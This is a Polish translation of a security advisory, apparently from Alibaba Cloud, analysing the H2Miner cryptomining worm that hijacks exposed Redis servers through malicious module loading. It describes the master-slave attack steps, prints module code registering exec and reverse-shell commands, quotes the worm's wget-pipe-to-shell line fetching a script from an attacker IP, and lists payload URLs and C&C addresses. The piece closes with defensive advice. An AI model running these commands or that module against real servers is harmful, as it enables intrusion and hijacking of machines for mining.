Odkryto nową epidemię robaków H2Miner wykorzystujących Redis RCE

Dzień temu jeden z serwerów mojego projektu został zaatakowany przez podobnego robaka. W poszukiwaniu odpowiedzi na pytanie „co to było?” Znalazłem świetny artykuł autorstwa zespołu Alibaba Cloud Security. Ponieważ nie znalazłem tego artykułu na Habré, postanowiłem go przetłumaczyć specjalnie dla Ciebie <3

Wejście

Niedawno zespół ds. bezpieczeństwa Alibaba Cloud odkrył nagłą epidemię H2Miner. Ten typ złośliwego robaka wykorzystuje brak autoryzacji lub słabe hasła do Redis jako bramy do twoich systemów, po czym synchronizuje swój własny złośliwy moduł z modułem slave poprzez synchronizację master-slave i na koniec pobiera ten złośliwy moduł na zaatakowaną maszynę i uruchamia złośliwe oprogramowanie instrukcje.

W przeszłości ataki na Twoje systemy były przeprowadzane głównie przy użyciu zaplanowanych zadań lub kluczy SSH, które były zapisywane na Twoim komputerze po zalogowaniu się osoby atakującej do Redis. Na szczęście tej metody nie można często stosować ze względu na problemy z kontrolą uprawnień lub ze względu na różne wersje systemu. Jednak ta metoda ładowania złośliwego modułu może bezpośrednio wykonać polecenia atakującego lub uzyskać dostęp do powłoki, co jest niebezpieczne dla twojego systemu.

Ze względu na dużą liczbę serwerów Redis hostowanych w Internecie (prawie 1 milion), zespół ds. bezpieczeństwa Alibaba Cloud w ramach przyjacielskiego przypomnienia zaleca, aby użytkownicy nie udostępniali Redis w Internecie i regularnie sprawdzali siłę swoich haseł oraz to, czy nie zostały one naruszone. szybki wybór.

H2Miner

H2Miner to botnet wydobywczy dla systemów opartych na systemie Linux, który może zaatakować Twój system na różne sposoby, w tym poprzez brak autoryzacji w Hadoop Yahoo, Docker i luki w zabezpieczeniach Redis dotyczące zdalnego wykonywania poleceń (RCE). Botnet działa poprzez pobieranie złośliwych skryptów i złośliwego oprogramowania w celu wydobywania danych, rozszerzania ataku w poziomie i utrzymywania komunikacji dowodzenia i kontroli (C&C).

Redis RCE

Wiedzą na ten temat podzielił się Pavel Toporkov na ZeroNights 2018. Po wersji 4.0 Redis obsługuje funkcję ładowania wtyczek, która daje użytkownikom możliwość ładowania plików skompilowanych w C do Redis w celu wykonania określonych poleceń Redis. Funkcja ta, choć użyteczna, zawiera lukę, w wyniku której w trybie master-slave pliki mogą być synchronizowane z urządzeniem slave w trybie pełnej ponownej synchronizacji. Osoba atakująca może to wykorzystać do przesłania złośliwych plików SO. Po zakończeniu przesyłania atakujący ładują moduł do zaatakowanej instancji Redis i wykonują dowolne polecenie.

Analiza robaka złośliwego oprogramowania

Niedawno zespół ds. bezpieczeństwa Alibaba Cloud odkrył, że wielkość grupy szkodliwego górnika H2Miner nagle drastycznie wzrosła. Z analizy wynika, że ​​ogólny proces wystąpienia ataku wygląda następująco:

Odkryto nową epidemię robaków H2Miner wykorzystujących Redis RCE

H2Miner wykorzystuje RCE Redis do pełnoprawnego ataku. Atakujący najpierw atakują niechronione serwery Redis lub serwery ze słabymi hasłami.

Następnie używają polecenia config set dbfilename red2.so aby zmienić nazwę pliku. Następnie napastnicy wykonują polecenie slaveof aby ustawić adres hosta replikacji master-slave.

Kiedy zaatakowana instancja Redis nawiązuje połączenie master-slave ze złośliwym Redisem będącym własnością atakującego, osoba atakująca wysyła zainfekowany moduł za pomocą polecenia fullresync w celu synchronizacji plików. Następnie na zaatakowaną maszynę zostanie pobrany plik red2.so. Następnie atakujący używają modułu ładującego ./red2.so, aby załadować ten plik so. Moduł może wykonywać polecenia atakującego lub inicjować połączenie zwrotne (backdoor), aby uzyskać dostęp do zaatakowanej maszyny.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

Po wykonaniu złośliwego polecenia, takiego jak / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, osoba atakująca zresetuje nazwę pliku kopii zapasowej i wyładuje moduł systemowy, aby oczyścić ślady. Jednak plik red2.so nadal pozostanie na zaatakowanej maszynie. Użytkownikom zaleca się zwrócenie uwagi na obecność takiego podejrzanego pliku w folderze ich instancji Redis.

Oprócz zabijania niektórych złośliwych procesów w celu kradzieży zasobów, osoba atakująca podążała za złośliwym skryptem, pobierając i uruchamiając złośliwe pliki binarne w celu 142.44.191.122/kinsing. Oznacza to, że nazwa procesu lub nazwa katalogu zawierającego kinsing na hoście może wskazywać, że maszyna ta została zainfekowana tym wirusem.

Zgodnie z wynikami inżynierii wstecznej szkodliwe oprogramowanie spełnia głównie następujące funkcje:

  • Przesyłanie plików i ich wykonywanie
  • górnictwo
  • Utrzymywanie komunikacji C&C i wykonywanie poleceń atakującego

Odkryto nową epidemię robaków H2Miner wykorzystujących Redis RCE

Użyj Masscan do skanowania zewnętrznego, aby zwiększyć swoje wpływy. Ponadto adres IP serwera C&C jest zakodowany na stałe w programie, a zaatakowany host będzie komunikował się z serwerem komunikacyjnym C&C za pomocą żądań HTTP, w których informacja o zombie (zaatakowanym serwerze) jest identyfikowana w nagłówku HTTP.

Odkryto nową epidemię robaków H2Miner wykorzystujących Redis RCE

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Inne metody ataku

Odkryto nową epidemię robaków H2Miner wykorzystujących Redis RCE

Adresy i łącza używane przez robaka

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Rada

Po pierwsze, Redis nie powinien być dostępny z Internetu i powinien być chroniony silnym hasłem. Ważne jest również, aby klienci sprawdzili, czy w katalogu Redis nie ma pliku red2.so i czy w nazwie pliku/procesu na hoście nie ma słowa „kinsing”.

Źródło: www.habr.com

Dodaj komentarz